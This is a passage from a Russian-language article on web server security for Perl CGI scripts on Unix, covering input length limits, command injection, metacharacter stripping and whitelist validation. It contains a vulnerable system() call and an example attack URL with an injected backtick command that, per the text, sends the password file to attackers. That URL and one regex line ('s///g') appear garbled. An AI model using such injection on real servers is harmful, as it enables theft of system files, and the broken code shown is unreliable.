Статья: Некоторые аспекты безопасности Веб-серверов на Unix платформах
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
Неплохо также перед этим проверить $ENV{'CONTENT_LENGTH'} и уменьшить ее до некоего разумного предела.
Вторым важным моментом является внедрение команд ОС в возвращаемые сценарию переменные. Возьмем пример:
Пусть у на в сценарии будет строка (@usernames - массив имен)
system "finger @usernames 2>&1";
Если мы вызовем такой сценарий строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?andy+bob
то все будет замечательно. Но, если его вызвать строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?`[email protected]+ то ваш файл паролей улетит к "нехорошим парням".
В связи с этим только в крайних случаях используйте такие команды, как system(), exec() и eval(). Всегда проверяйте значения переменных на наличие метасимволов и удаляйте их. Например так:
$value =~ tr/'"\t\n\r\/<>|;//d;
$value =~ s///g;
Ну а самым надежным способом является проверка каждого поля на точный шаблон данных, которые вы ожидаете получить. Например, если вы запросили почтовый индекс, проверьте его строкой:
$zip =~ /^\d{6}$/
а если запросили адрес электронной почты, строкой:
$email=~s#(\w+(-|\.|))+@(\w+(-|\.|))+(ru|su|be|ca|cz|ee|fi)##io;
Заключение
Следуя этим нехитрым правилам вы значительно обезопасите ваш сервер от поползновений "нехороших парней", как их мило называют в зарубежной литературе. Главное, это помнить основной принцип обеспечения безопасности - запретите ВСЕ, а потом разрешайте только то, что Вам ДЕЙСТВИТЕЛЬНО необходимо.